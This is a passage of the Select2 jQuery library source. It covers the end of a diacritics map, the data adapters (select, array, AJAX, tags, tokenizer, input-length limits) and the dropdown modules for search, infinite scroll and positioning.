    '\u01A3': 'oi',
    '\u0223': 'ou',
    '\uA74F': 'oo',
    '\u24DF': 'p',
    '\uFF50': 'p',
    '\u1E55': 'p',
    '\u1E57': 'p',
    '\u01A5': 'p',
    '\u1D7D': 'p',
    '\uA751': 'p',
    '\uA753': 'p',
    '\uA755': 'p',
    '\u24E0': 'q',
    '\uFF51': 'q',
    '\u024B': 'q',
    '\uA757': 'q',
    '\uA759': 'q',
    '\u24E1': 'r',
    '\uFF52': 'r',
    '\u0155': 'r',
    '\u1E59': 'r',
    '\u0159': 'r',
    '\u0211': 'r',
    '\u0213': 'r',
    '\u1E5B': 'r',
    '\u1E5D': 'r',
    '\u0157': 'r',
    '\u1E5F': 'r',
    '\u024D': 'r',
    '\u027D': 'r',
    '\uA75B': 'r',
    '\uA7A7': 'r',
    '\uA783': 'r',
    '\u24E2': 's',
    '\uFF53': 's',
    '\u00DF': 's',
    '\u015B': 's',
    '\u1E65': 's',
    '\u015D': 's',
    '\u1E61': 's',
    '\u0161': 's',
    '\u1E67': 's',
    '\u1E63': 's',
    '\u1E69': 's',
    '\u0219': 's',
    '\u015F': 's',
    '\u023F': 's',
    '\uA7A9': 's',
    '\uA785': 's',
    '\u1E9B': 's',
    '\u24E3': 't',
    '\uFF54': 't',
    '\u1E6B': 't',
    '\u1E97': 't',
    '\u0165': 't',
    '\u1E6D': 't',
    '\u021B': 't',
    '\u0163': 't',
    '\u1E71': 't',
    '\u1E6F': 't',
    '\u0167': 't',
    '\u01AD': 't',
    '\u0288': 't',
    '\u2C66': 't',
    '\uA787': 't',
    '\uA729': 'tz',
    '\u24E4': 'u',
    '\uFF55': 'u',
    '\u00F9': 'u',
    '\u00FA': 'u',
    '\u00FB': 'u',
    '\u0169': 'u',
    '\u1E79': 'u',
    '\u016B': 'u',
    '\u1E7B': 'u',
    '\u016D': 'u',
    '\u00FC': 'u',
    '\u01DC': 'u',
    '\u01D8': 'u',
    '\u01D6': 'u',
    '\u01DA': 'u',
    '\u1EE7': 'u',
    '\u016F': 'u',
    '\u0171': 'u',
    '\u01D4': 'u',
    '\u0215': 'u',
    '\u0217': 'u',
    '\u01B0': 'u',
    '\u1EEB': 'u',
    '\u1EE9': 'u',
    '\u1EEF': 'u',
    '\u1EED': 'u',
    '\u1EF1': 'u',
    '\u1EE5': 'u',
    '\u1E73': 'u',
    '\u0173': 'u',
    '\u1E77': 'u',
    '\u1E75': 'u',
    '\u0289': 'u',
    '\u24E5': 'v',
    '\uFF56': 'v',
    '\u1E7D': 'v',
    '\u1E7F': 'v',
    '\u028B': 'v',
    '\uA75F': 'v',
    '\u028C': 'v',
    '\uA761': 'vy',
    '\u24E6': 'w',
    '\uFF57': 'w',
    '\u1E81': 'w',
    '\u1E83': 'w',
    '\u0175': 'w',
    '\u1E87': 'w',
    '\u1E85': 'w',
    '\u1E98': 'w',
    '\u1E89': 'w',
    '\u2C73': 'w',
    '\u24E7': 'x',
    '\uFF58': 'x',
    '\u1E8B': 'x',
    '\u1E8D': 'x',
    '\u24E8': 'y',
    '\uFF59': 'y',
    '\u1EF3': 'y',
    '\u00FD': 'y',
    '\u0177': 'y',
    '\u1EF9': 'y',
    '\u0233': 'y',
    '\u1E8F': 'y',
    '\u00FF': 'y',
    '\u1EF7': 'y',
    '\u1E99': 'y',
    '\u1EF5': 'y',
    '\u01B4': 'y',
    '\u024F': 'y',
    '\u1EFF': 'y',
    '\u24E9': 'z',
    '\uFF5A': 'z',
    '\u017A': 'z',
    '\u1E91': 'z',
    '\u017C': 'z',
    '\u017E': 'z',
    '\u1E93': 'z',
    '\u1E95': 'z',
    '\u01B6': 'z',
    '\u0225': 'z',
    '\u0240': 'z',
    '\u2C6C': 'z',
    '\uA763': 'z',
    '\u0386': '\u0391',
    '\u0388': '\u0395',
    '\u0389': '\u0397',
    '\u038A': '\u0399',
    '\u03AA': '\u0399',
    '\u038C': '\u039F',
    '\u038E': '\u03A5',
    '\u03AB': '\u03A5',
    '\u038F': '\u03A9',
    '\u03AC': '\u03B1',
    '\u03AD': '\u03B5',
    '\u03AE': '\u03B7',
    '\u03AF': '\u03B9',
    '\u03CA': '\u03B9',
    '\u0390': '\u03B9',
    '\u03CC': '\u03BF',
    '\u03CD': '\u03C5',
    '\u03CB': '\u03C5',
    '\u03B0': '\u03C5',
    '\u03C9': '\u03C9',
    '\u03C2': '\u03C3'
  };

  return diacritics;
});

S2.define('select2/data/base',[
  '../utils'
], function (Utils) {
  function BaseAdapter ($element, options) {
    BaseAdapter.__super__.constructor.call(this);
  }

  Utils.Extend(BaseAdapter, Utils.Observable);

  BaseAdapter.prototype.current = function (callback) {
    throw new Error('The `current` method must be defined in child classes.');
  };

  BaseAdapter.prototype.query = function (params, callback) {
    throw new Error('The `query` method must be defined in child classes.');
  };

  BaseAdapter.prototype.bind = function (container, $container) {
    // Can be implemented in subclasses
  };

  BaseAdapter.prototype.destroy = function () {
    // Can be implemented in subclasses
  };

  BaseAdapter.prototype.generateResultId = function (container, data) {
    var id = container.id + '-result-';

    id += Utils.generateChars(4);

    if (data.id != null) {
      id += '-' + data.id.toString();
    } else {
      id += '-' + Utils.generateChars(4);
    }
    return id;
  };

  return BaseAdapter;
});

S2.define('select2/data/select',[
  './base',
  '../utils',
  'jquery'
], function (BaseAdapter, Utils, $) {
  function SelectAdapter ($element, options) {
    this.$element = $element;
    this.options = options;

    SelectAdapter.__super__.constructor.call(this);
  }

  Utils.Extend(SelectAdapter, BaseAdapter);

  SelectAdapter.prototype.current = function (callback) {
    var data = [];
    var self = this;

    this.$element.find(':selected').each(function () {
      var $option = $(this);

      var option = self.item($option);

      data.push(option);
    });

    callback(data);
  };

  SelectAdapter.prototype.select = function (data) {
    var self = this;

    data.selected = true;

    // If data.element is a DOM node, use it instead
    if ($(data.element).is('option')) {
      data.element.selected = true;

      this.$element.trigger('change');

      return;
    }

    if (this.$element.prop('multiple')) {
      this.current(function (currentData) {
        var val = [];

        data = [data];
        data.push.apply(data, currentData);

        for (var d = 0; d < data.length; d++) {
          var id = data[d].id;

          if ($.inArray(id, val) === -1) {
            val.push(id);
          }
        }

        self.$element.val(val);
        self.$element.trigger('change');
      });
    } else {
      var val = data.id;

      this.$element.val(val);
      this.$element.trigger('change');
    }
  };

  SelectAdapter.prototype.unselect = function (data) {
    var self = this;

    if (!this.$element.prop('multiple')) {
      return;
    }

    data.selected = false;

    if ($(data.element).is('option')) {
      data.element.selected = false;

      this.$element.trigger('change');

      return;
    }

    this.current(function (currentData) {
      var val = [];

      for (var d = 0; d < currentData.length; d++) {
        var id = currentData[d].id;

        if (id !== data.id && $.inArray(id, val) === -1) {
          val.push(id);
        }
      }

      self.$element.val(val);

      self.$element.trigger('change');
    });
  };

  SelectAdapter.prototype.bind = function (container, $container) {
    var self = this;

    this.container = container;

    container.on('select', function (params) {
      self.select(params.data);
    });

    container.on('unselect', function (params) {
      self.unselect(params.data);
    });
  };

  SelectAdapter.prototype.destroy = function () {
    // Remove anything added to child elements
    this.$element.find('*').each(function () {
      // Remove any custom data set by Select2
      Utils.RemoveData(this);
    });
  };

  SelectAdapter.prototype.query = function (params, callback) {
    var data = [];
    var self = this;

    var $options = this.$element.children();

    $options.each(function () {
      var $option = $(this);

      if (!$option.is('option') && !$option.is('optgroup')) {
        return;
      }

      var option = self.item($option);

      var matches = self.matches(params, option);

      if (matches !== null) {
        data.push(matches);
      }
    });

    callback({
      results: data
    });
  };

  SelectAdapter.prototype.addOptions = function ($options) {
    Utils.appendMany(this.$element, $options);
  };

  SelectAdapter.prototype.option = function (data) {
    var option;

    if (data.children) {
      option = document.createElement('optgroup');
      option.label = data.text;
    } else {
      option = document.createElement('option');

      if (option.textContent !== undefined) {
        option.textContent = data.text;
      } else {
        option.innerText = data.text;
      }
    }

    if (data.id !== undefined) {
      option.value = data.id;
    }

    if (data.disabled) {
      option.disabled = true;
    }

    if (data.selected) {
      option.selected = true;
    }

    if (data.title) {
      option.title = data.title;
    }

    var $option = $(option);

    var normalizedData = this._normalizeItem(data);
    normalizedData.element = option;

    // Override the option's data with the combined data
    Utils.StoreData(option, 'data', normalizedData);

    return $option;
  };

  SelectAdapter.prototype.item = function ($option) {
    var data = {};

    data = Utils.GetData($option[0], 'data');

    if (data != null) {
      return data;
    }

    if ($option.is('option')) {
      data = {
        id: $option.val(),
        text: $option.text(),
        disabled: $option.prop('disabled'),
        selected: $option.prop('selected'),
        title: $option.prop('title')
      };
    } else if ($option.is('optgroup')) {
      data = {
        text: $option.prop('label'),
        children: [],
        title: $option.prop('title')
      };

      var $children = $option.children('option');
      var children = [];

      for (var c = 0; c < $children.length; c++) {
        var $child = $($children[c]);

        var child = this.item($child);

        children.push(child);
      }

      data.children = children;
    }

    data = this._normalizeItem(data);
    data.element = $option[0];

    Utils.StoreData($option[0], 'data', data);

    return data;
  };

  SelectAdapter.prototype._normalizeItem = function (item) {
    if (item !== Object(item)) {
      item = {
        id: item,
        text: item
      };
    }

    item = $.extend({}, {
      text: ''
    }, item);

    var defaults = {
      selected: false,
      disabled: false
    };

    if (item.id != null) {
      item.id = item.id.toString();
    }

    if (item.text != null) {
      item.text = item.text.toString();
    }

    if (item._resultId == null && item.id && this.container != null) {
      item._resultId = this.generateResultId(this.container, item);
    }

    return $.extend({}, defaults, item);
  };

  SelectAdapter.prototype.matches = function (params, data) {
    var matcher = this.options.get('matcher');

    return matcher(params, data);
  };

  return SelectAdapter;
});

S2.define('select2/data/array',[
  './select',
  '../utils',
  'jquery'
], function (SelectAdapter, Utils, $) {
  function ArrayAdapter ($element, options) {
    var data = options.get('data') || [];

    ArrayAdapter.__super__.constructor.call(this, $element, options);

    this.addOptions(this.convertToOptions(data));
  }

  Utils.Extend(ArrayAdapter, SelectAdapter);

  ArrayAdapter.prototype.select = function (data) {
    var $option = this.$element.find('option').filter(function (i, elm) {
      return elm.value == data.id.toString();
    });

    if ($option.length === 0) {
      $option = this.option(data);

      this.addOptions($option);
    }

    ArrayAdapter.__super__.select.call(this, data);
  };

  ArrayAdapter.prototype.convertToOptions = function (data) {
    var self = this;

    var $existing = this.$element.find('option');
    var existingIds = $existing.map(function () {
      return self.item($(this)).id;
    }).get();

    var $options = [];

    // Filter out all items except for the one passed in the argument
    function onlyItem (item) {
      return function () {
        return $(this).val() == item.id;
      };
    }

    for (var d = 0; d < data.length; d++) {
      var item = this._normalizeItem(data[d]);

      // Skip items which were pre-loaded, only merge the data
      if ($.inArray(item.id, existingIds) >= 0) {
        var $existingOption = $existing.filter(onlyItem(item));

        var existingData = this.item($existingOption);
        var newData = $.extend(true, {}, item, existingData);

        var $newOption = this.option(newData);

        $existingOption.replaceWith($newOption);

        continue;
      }

      var $option = this.option(item);

      if (item.children) {
        var $children = this.convertToOptions(item.children);

        Utils.appendMany($option, $children);
      }

      $options.push($option);
    }

    return $options;
  };

  return ArrayAdapter;
});

S2.define('select2/data/ajax',[
  './array',
  '../utils',
  'jquery'
], function (ArrayAdapter, Utils, $) {
  function AjaxAdapter ($element, options) {
    this.ajaxOptions = this._applyDefaults(options.get('ajax'));

    if (this.ajaxOptions.processResults != null) {
      this.processResults = this.ajaxOptions.processResults;
    }

    AjaxAdapter.__super__.constructor.call(this, $element, options);
  }

  Utils.Extend(AjaxAdapter, ArrayAdapter);

  AjaxAdapter.prototype._applyDefaults = function (options) {
    var defaults = {
      data: function (params) {
        return $.extend({}, params, {
          q: params.term
        });
      },
      transport: function (params, success, failure) {
        var $request = $.ajax(params);

        $request.then(success);
        $request.fail(failure);

        return $request;
      }
    };

    return $.extend({}, defaults, options, true);
  };

  AjaxAdapter.prototype.processResults = function (results) {
    return results;
  };

  AjaxAdapter.prototype.query = function (params, callback) {
    var matches = [];
    var self = this;

    if (this._request != null) {
      // JSONP requests cannot always be aborted
      if ($.isFunction(this._request.abort)) {
        this._request.abort();
      }

      this._request = null;
    }

    var options = $.extend({
      type: 'GET'
    }, this.ajaxOptions);

    if (typeof options.url === 'function') {
      options.url = options.url.call(this.$element, params);
    }

    if (typeof options.data === 'function') {
      options.data = options.data.call(this.$element, params);
    }

    function request () {
      var $request = options.transport(options, function (data) {
        var results = self.processResults(data, params);

        if (self.options.get('debug') && window.console && console.error) {
          // Check to make sure that the response included a `results` key.
          if (!results || !results.results || !$.isArray(results.results)) {
            console.error(
              'Select2: The AJAX results did not return an array in the ' +
              '`results` key of the response.'
            );
          }
        }

        callback(results);
      }, function () {
        // Attempt to detect if a request was aborted
        // Only works if the transport exposes a status property
        if ('status' in $request &&
            ($request.status === 0 || $request.status === '0')) {
          return;
        }

        self.trigger('results:message', {
          message: 'errorLoading'
        });
      });

      self._request = $request;
    }

    if (this.ajaxOptions.delay && params.term != null) {
      if (this._queryTimeout) {
        window.clearTimeout(this._queryTimeout);
      }

      this._queryTimeout = window.setTimeout(request, this.ajaxOptions.delay);
    } else {
      request();
    }
  };

  return AjaxAdapter;
});

S2.define('select2/data/tags',[
  'jquery'
], function ($) {
  function Tags (decorated, $element, options) {
    var tags = options.get('tags');

    var createTag = options.get('createTag');

    if (createTag !== undefined) {
      this.createTag = createTag;
    }

    var insertTag = options.get('insertTag');

    if (insertTag !== undefined) {
        this.insertTag = insertTag;
    }

    decorated.call(this, $element, options);

    if ($.isArray(tags)) {
      for (var t = 0; t < tags.length; t++) {
        var tag = tags[t];
        var item = this._normalizeItem(tag);

        var $option = this.option(item);

        this.$element.append($option);
      }
    }
  }

  Tags.prototype.query = function (decorated, params, callback) {
    var self = this;

    this._removeOldTags();

    if (params.term == null || params.page != null) {
      decorated.call(this, params, callback);
      return;
    }

    function wrapper (obj, child) {
      var data = obj.results;

      for (var i = 0; i < data.length; i++) {
        var option = data[i];

        var checkChildren = (
          option.children != null &&
          !wrapper({
            results: option.children
          }, true)
        );

        var optionText = (option.text || '').toUpperCase();
        var paramsTerm = (params.term || '').toUpperCase();

        var checkText = optionText === paramsTerm;

        if (checkText || checkChildren) {
          if (child) {
            return false;
          }

          obj.data = data;
          callback(obj);

          return;
        }
      }

      if (child) {
        return true;
      }

      var tag = self.createTag(params);

      if (tag != null) {
        var $option = self.option(tag);
        $option.attr('data-select2-tag', true);

        self.addOptions([$option]);

        self.insertTag(data, tag);
      }

      obj.results = data;

      callback(obj);
    }

    decorated.call(this, params, wrapper);
  };

  Tags.prototype.createTag = function (decorated, params) {
    var term = $.trim(params.term);

    if (term === '') {
      return null;
    }

    return {
      id: term,
      text: term
    };
  };

  Tags.prototype.insertTag = function (_, data, tag) {
    data.unshift(tag);
  };

  Tags.prototype._removeOldTags = function (_) {
    var tag = this._lastTag;

    var $options = this.$element.find('option[data-select2-tag]');

    $options.each(function () {
      if (this.selected) {
        return;
      }

      $(this).remove();
    });
  };

  return Tags;
});

S2.define('select2/data/tokenizer',[
  'jquery'
], function ($) {
  function Tokenizer (decorated, $element, options) {
    var tokenizer = options.get('tokenizer');

    if (tokenizer !== undefined) {
      this.tokenizer = tokenizer;
    }

    decorated.call(this, $element, options);
  }

  Tokenizer.prototype.bind = function (decorated, container, $container) {
    decorated.call(this, container, $container);

    this.$search =  container.dropdown.$search || container.selection.$search ||
      $container.find('.select2-search__field');
  };

  Tokenizer.prototype.query = function (decorated, params, callback) {
    var self = this;

    function createAndSelect (data) {
      // Normalize the data object so we can use it for checks
      var item = self._normalizeItem(data);

      // Check if the data object already exists as a tag
      // Select it if it doesn't
      var $existingOptions = self.$element.find('option').filter(function () {
        return $(this).val() === item.id;
      });

      // If an existing option wasn't found for it, create the option
      if (!$existingOptions.length) {
        var $option = self.option(item);
        $option.attr('data-select2-tag', true);

        self._removeOldTags();
        self.addOptions([$option]);
      }

      // Select the item, now that we know there is an option for it
      select(item);
    }

    function select (data) {
      self.trigger('select', {
        data: data
      });
    }

    params.term = params.term || '';

    var tokenData = this.tokenizer(params, this.options, createAndSelect);

    if (tokenData.term !== params.term) {
      // Replace the search term if we have the search box
      if (this.$search.length) {
        this.$search.val(tokenData.term);
        this.$search.focus();
      }

      params.term = tokenData.term;
    }

    decorated.call(this, params, callback);
  };

  Tokenizer.prototype.tokenizer = function (_, params, options, callback) {
    var separators = options.get('tokenSeparators') || [];
    var term = params.term;
    var i = 0;

    var createTag = this.createTag || function (params) {
      return {
        id: params.term,
        text: params.term
      };
    };

    while (i < term.length) {
      var termChar = term[i];

      if ($.inArray(termChar, separators) === -1) {
        i++;

        continue;
      }

      var part = term.substr(0, i);
      var partParams = $.extend({}, params, {
        term: part
      });

      var data = createTag(partParams);

      if (data == null) {
        i++;
        continue;
      }

      callback(data);

      // Reset the term to not include the tokenized portion
      term = term.substr(i + 1) || '';
      i = 0;
    }

    return {
      term: term
    };
  };

  return Tokenizer;
});

S2.define('select2/data/minimumInputLength',[

], function () {
  function MinimumInputLength (decorated, $e, options) {
    this.minimumInputLength = options.get('minimumInputLength');

    decorated.call(this, $e, options);
  }

  MinimumInputLength.prototype.query = function (decorated, params, callback) {
    params.term = params.term || '';

    if (params.term.length < this.minimumInputLength) {
      this.trigger('results:message', {
        message: 'inputTooShort',
        args: {
          minimum: this.minimumInputLength,
          input: params.term,
          params: params
        }
      });

      return;
    }

    decorated.call(this, params, callback);
  };

  return MinimumInputLength;
});

S2.define('select2/data/maximumInputLength',[

], function () {
  function MaximumInputLength (decorated, $e, options) {
    this.maximumInputLength = options.get('maximumInputLength');

    decorated.call(this, $e, options);
  }

  MaximumInputLength.prototype.query = function (decorated, params, callback) {
    params.term = params.term || '';

    if (this.maximumInputLength > 0 &&
        params.term.length > this.maximumInputLength) {
      this.trigger('results:message', {
        message: 'inputTooLong',
        args: {
          maximum: this.maximumInputLength,
          input: params.term,
          params: params
        }
      });

      return;
    }

    decorated.call(this, params, callback);
  };

  return MaximumInputLength;
});

S2.define('select2/data/maximumSelectionLength',[

], function (){
  function MaximumSelectionLength (decorated, $e, options) {
    this.maximumSelectionLength = options.get('maximumSelectionLength');

    decorated.call(this, $e, options);
  }

  MaximumSelectionLength.prototype.query =
    function (decorated, params, callback) {
      var self = this;

      this.current(function (currentData) {
        var count = currentData != null ? currentData.length : 0;
        if (self.maximumSelectionLength > 0 &&
          count >= self.maximumSelectionLength) {
          self.trigger('results:message', {
            message: 'maximumSelected',
            args: {
              maximum: self.maximumSelectionLength
            }
          });
          return;
        }
        decorated.call(self, params, callback);
      });
  };

  return MaximumSelectionLength;
});

S2.define('select2/dropdown',[
  'jquery',
  './utils'
], function ($, Utils) {
  function Dropdown ($element, options) {
    this.$element = $element;
    this.options = options;

    Dropdown.__super__.constructor.call(this);
  }

  Utils.Extend(Dropdown, Utils.Observable);

  Dropdown.prototype.render = function () {
    var $dropdown = $(
      '<span class="select2-dropdown">' +
        '<span class="select2-results"></span>' +
      '</span>'
    );

    $dropdown.attr('dir', this.options.get('dir'));

    this.$dropdown = $dropdown;

    return $dropdown;
  };

  Dropdown.prototype.bind = function () {
    // Should be implemented in subclasses
  };

  Dropdown.prototype.position = function ($dropdown, $container) {
    // Should be implmented in subclasses
  };

  Dropdown.prototype.destroy = function () {
    // Remove the dropdown from the DOM
    this.$dropdown.remove();
  };

  return Dropdown;
});

S2.define('select2/dropdown/search',[
  'jquery',
  '../utils'
], function ($, Utils) {
  function Search () { }

  Search.prototype.render = function (decorated) {
    var $rendered = decorated.call(this);

    var $search = $(
      '<span class="select2-search select2-search--dropdown">' +
        '<input class="select2-search__field" type="search" tabindex="-1"' +
        ' autocomplete="off" autocorrect="off" autocapitalize="none"' +
        ' spellcheck="false" role="textbox" />' +
      '</span>'
    );

    this.$searchContainer = $search;
    this.$search = $search.find('input');

    $rendered.prepend($search);

    return $rendered;
  };

  Search.prototype.bind = function (decorated, container, $container) {
    var self = this;

    decorated.call(this, container, $container);

    this.$search.on('keydown', function (evt) {
      self.trigger('keypress', evt);

      self._keyUpPrevented = evt.isDefaultPrevented();
    });

    // Workaround for browsers which do not support the `input` event
    // This will prevent double-triggering of events for browsers which support
    // both the `keyup` and `input` events.
    this.$search.on('input', function (evt) {
      // Unbind the duplicated `keyup` event
      $(this).off('keyup');
    });

    this.$search.on('keyup input', function (evt) {
      self.handleSearch(evt);
    });

    container.on('open', function () {
      self.$search.attr('tabindex', 0);

      self.$search.focus();

      window.setTimeout(function () {
        self.$search.focus();
      }, 0);
    });

    container.on('close', function () {
      self.$search.attr('tabindex', -1);

      self.$search.val('');
      self.$search.blur();
    });

    container.on('focus', function () {
      if (!container.isOpen()) {
        self.$search.focus();
      }
    });

    container.on('results:all', function (params) {
      if (params.query.term == null || params.query.term === '') {
        var showSearch = self.showSearch(params);

        if (showSearch) {
          self.$searchContainer.removeClass('select2-search--hide');
        } else {
          self.$searchContainer.addClass('select2-search--hide');
        }
      }
    });
  };

  Search.prototype.handleSearch = function (evt) {
    if (!this._keyUpPrevented) {
      var input = this.$search.val();

      this.trigger('query', {
        term: input
      });
    }

    this._keyUpPrevented = false;
  };

  Search.prototype.showSearch = function (_, params) {
    return true;
  };

  return Search;
});

S2.define('select2/dropdown/hidePlaceholder',[

], function () {
  function HidePlaceholder (decorated, $element, options, dataAdapter) {
    this.placeholder = this.normalizePlaceholder(options.get('placeholder'));

    decorated.call(this, $element, options, dataAdapter);
  }

  HidePlaceholder.prototype.append = function (decorated, data) {
    data.results = this.removePlaceholder(data.results);

    decorated.call(this, data);
  };

  HidePlaceholder.prototype.normalizePlaceholder = function (_, placeholder) {
    if (typeof placeholder === 'string') {
      placeholder = {
        id: '',
        text: placeholder
      };
    }

    return placeholder;
  };

  HidePlaceholder.prototype.removePlaceholder = function (_, data) {
    var modifiedData = data.slice(0);

    for (var d = data.length - 1; d >= 0; d--) {
      var item = data[d];

      if (this.placeholder.id === item.id) {
        modifiedData.splice(d, 1);
      }
    }

    return modifiedData;
  };

  return HidePlaceholder;
});

S2.define('select2/dropdown/infiniteScroll',[
  'jquery'
], function ($) {
  function InfiniteScroll (decorated, $element, options, dataAdapter) {
    this.lastParams = {};

    decorated.call(this, $element, options, dataAdapter);

    this.$loadingMore = this.createLoadingMore();
    this.loading = false;
  }

  InfiniteScroll.prototype.append = function (decorated, data) {
    this.$loadingMore.remove();
    this.loading = false;

    decorated.call(this, data);

    if (this.showLoadingMore(data)) {
      this.$results.append(this.$loadingMore);
    }
  };

  InfiniteScroll.prototype.bind = function (decorated, container, $container) {
    var self = this;

    decorated.call(this, container, $container);

    container.on('query', function (params) {
      self.lastParams = params;
      self.loading = true;
    });

    container.on('query:append', function (params) {
      self.lastParams = params;
      self.loading = true;
    });

    this.$results.on('scroll', function () {
      var isLoadMoreVisible = $.contains(
        document.documentElement,
        self.$loadingMore[0]
      );

      if (self.loading || !isLoadMoreVisible) {
        return;
      }

      var currentOffset = self.$results.offset().top +
        self.$results.outerHeight(false);
      var loadingMoreOffset = self.$loadingMore.offset().top +
        self.$loadingMore.outerHeight(false);

      if (currentOffset + 50 >= loadingMoreOffset) {
        self.loadMore();
      }
    });
  };

  InfiniteScroll.prototype.loadMore = function () {
    this.loading = true;

    var params = $.extend({}, {page: 1}, this.lastParams);

    params.page++;

    this.trigger('query:append', params);
  };

  InfiniteScroll.prototype.showLoadingMore = function (_, data) {
    return data.pagination && data.pagination.more;
  };

  InfiniteScroll.prototype.createLoadingMore = function () {
    var $option = $(
      '<li ' +
      'class="select2-results__option select2-results__option--load-more"' +
      'role="treeitem" aria-disabled="true"></li>'
    );

    var message = this.options.get('translations').get('loadingMore');

    $option.html(message(this.lastParams));

    return $option;
  };

  return InfiniteScroll;
});

S2.define('select2/dropdown/attachBody',[
  'jquery',
  '../utils'
], function ($, Utils) {
  function AttachBody (decorated, $element, options) {
    this.$dropdownParent = options.get('dropdownParent') || $(document.body);

    decorated.call(this, $element, options);
  }

  AttachBody.prototype.bind = function (decorated, container, $container) {
    var self = this;

    var setupResultsEvents = false;

    decorated.call(this, container, $container);

    container.on('open', function () {
      self._showDropdown();
      self._attachPositioningHandler(container);

      if (!setupResultsEvents) {
        setupResultsEvents = true;

        container.on('results:all', function () {
          self._positionDropdown();
          self._resizeDropdown();
        });

        container.on('results:append', function () {
          self._positionDropdown();
          self._resizeDropdown();
        });
      }
    });

    container.on('close', function () {
      self._hideDropdown();
      self._detachPositioningHandler(container);
    });

    this.$dropdownContainer.on('mousedown', function (evt) {
      evt.stopPropagation();
    });
  };

  AttachBody.prototype.destroy = function (decorated) {
    decorated.call(this);

    this.$dropdownContainer.remove();
  };

  AttachBody.prototype.position = function (decorated, $dropdown, $container) {
    // Clone all of the container classes
    $dropdown.attr('class', $container.attr('class'));

    $dropdown.removeClass('select2');
    $dropdown.addClass('select2-container--open');

    $dropdown.css({
      position: 'absolute',
      top: -999999
    });

    this.$container = $container;
  };

  AttachBody.prototype.render = function (decorated) {
    var $container = $('<span></span>');

    var $dropdown = decorated.call(this);
    $container.append($dropdown);

    this.$dropdownContainer = $container;

    return $container;
  };

  AttachBody.prototype._hideDropdown = function (decorated) {
    this.$dropdownContainer.detach();
  };

  AttachBody.prototype._attachPositioningHandler =
      function (decorated, container) {
    var self = this;

    var scrollEvent = 'scroll.select2.' + container.id;
    var resizeEvent = 'resize.select2.' + container.id;
    var orientationEvent = 'orientationchange.select2.' + container.id;

    var $watchers = this.$container.parents().filter(Utils.hasScroll);
    $watchers.each(function () {
      Utils.StoreData(this, 'select2-scroll-position', {
        x: $(this).scrollLeft(),
        y: $(this).scrollTop()
      });
    });

    $watchers.on(scrollEvent, function (ev) {
      var position = Utils.GetData(this, 'select2-scroll-position');
      $(this).scrollTop(position.y);
    });

    $(window).on(scrollEvent + ' ' + resizeEvent + ' ' + orientationEvent,
      function (e) {
      self._positionDropdown();
      self._resizeDropdown();
    });
  };

  AttachBody.prototype._detachPositioningHandler =
      function (decorated, container) {
    var scrollEvent = 'scroll.select2.' + container.id;
    var resizeEvent = 'resize.select2.' + container.id;
    var orientationEvent = 'orientationchange.select2.' + container.id;

    var $watchers = this.$container.parents().filter(Utils.hasScroll);
    $watchers.off(scrollEvent);

    $(window).off(scrollEvent + ' ' + resizeEvent + ' ' + orientationEvent);
  };

  AttachBody.prototype._positionDropdown = function () {
    var $window = $(window);

    var isCurrentlyAbove = this.$dropdown.hasClass('select2-dropdown--above');
    var isCurrentlyBelow = this.$dropdown.hasClass('select2-dropdown--below');

    var newDirection = null;

    var offset = this.$container.offset();

    offset.bottom = offset.top + this.$container.outerHeight(false);

    var container = {
      height: this.$container.outerHeight(false)
    };

    container.top = offset.top;
    container.bottom = offset.top + container.height;

    var dropdown = {
      height: this.$dropdown.outerHeight(false)
    };

    var viewport = {
      top: $window.scrollTop(),
      bottom: $window.scrollTop() + $window.height()
    };

    var enoughRoomAbove = viewport.top < (offset.top - dropdown.height);
    var enoughRoomBelow = viewport.bottom > (offset.bottom + dropdown.height);

    var css = {
      left: offset.left,
      top: container.bottom
    };

    // Determine what the parent element is to use for calciulating the offset
    var $offsetParent = this.$dropdownParent;

    // For statically positoned elements, we need to get the element
    // that is determining the offset
    if ($offsetParent.css('position') === 'static') {
      $offsetParent = $offsetParent.offsetParent();
    }

    var parentOffset = $offsetParent.offset();

    css.top -= parentOffset.top;
    css.left -= parentOffset.left;

    if (!isCurrentlyAbove && !isCurrentlyBelow) {
      newDirection = 'below';
    }

    if (!enoughRoomBelow && enoughRoomAbove && !isCurrentlyAbove) {
      newDirection = 'above';
    } else if (!enoughRoomAbove && enoughRoomBelow && isCurrentlyAbove) {
      newDirection = 'below';
    }

    if (newDirection == 'above' ||
      (isCurrentlyAbove && newDirection !== 'below')) {
      css.top = container.top - parentOffset.top - dropdown.height;
    }

    if (newDirection != null) {
      this.$dropdown
        .removeClass('select2-dropdown--below select2-dropdown--above')
        .addClass('select2-dropdown--' + newDirection);
      this.$container
        .removeClass('select2-container--below select2-container--above')
        .addClass('select2-container--' + newDirection);
    }

    this.$dropdownContainer.css(css);
  };

  AttachBody.prototype._resizeDropdown = function () {
    var css = {
      width: this.$container.outerWidth(false) + 'px'
    };

    if (this.options.get('dropdownAutoWidth')) {
      css.minWidth = css.width;
      css.position = 'relative';
      css.width = 'auto';
    }

    this.$dropdown.css(css);
  };

  AttachBody.prototype._showDropdown = function (decorated) {
    this.$dropdownContainer.appendTo(this.$dropdownParent);

    this._positionDropdown();
    this._resizeDropdown();
  };

  return AttachBody;
});

S2.define('select2/dropdown/minimumResultsForSearch',[

], function () {
  function countResults (data) {
    var count = 0;

    for (var d = 0; d < data.length; d++) {
      var item = data[d];

      if (item.children) {
        count += countResults(item.children);
      } else {
        count++;
      }
    }

    return count;
  }

  function MinimumResultsForSearch (decorated, $element, options, dataAdapter) {
    this.minimumResultsForSearch = options.get('minimumResultsForSearch');

    if (this.minimumResultsForSearch < 0) {
      this.minimumResultsForSearch = Infinity;
    }

    decorated.call(this, $element, options, dataAdapter);
  }

  MinimumResultsForSearch.prototype.showSearch = function (decorated, params) {
    if (countResults(params.data.results) < this.minimumResultsForSearch) {
      return false;
    }

    return decorated.call(this, params);
  };

  return MinimumResultsForSearch;
});

S2.define('select2/dropdown/selectOnClose',[
  '../utils'
], function (Utils) {
  function SelectOnClose () { }

  SelectOnClose.prototype.bind = function (decorated, container, $container) {
    var self = this;

    decorated.call(this, container, $container);

    container.on('close', function (params) {
      self._handleSelectOnClose(params);
    });
  };

  SelectOnClose.prototype._handleSelectOnClose = function (_, params) {
    if (params && params.originalSelect2Event != null) {
      var event = params.originalSelect2Event;

      // Don't select an item if the close event was triggered from a select or
      // unselect event
      if (event._type === 'select' || event._type === 'unselect') {
        return;
      }
    }

    var $highlightedResults = this.getHighlightedResults();

    // Only select highlighted results
    if ($highlightedResults.length < 1) {
      return;
    }

    var data = Utils.GetData($highlightedResults[0], 'data');

    // Don't re-select already selected resulte
    if (
      (data.element != null && data.element.selected) ||
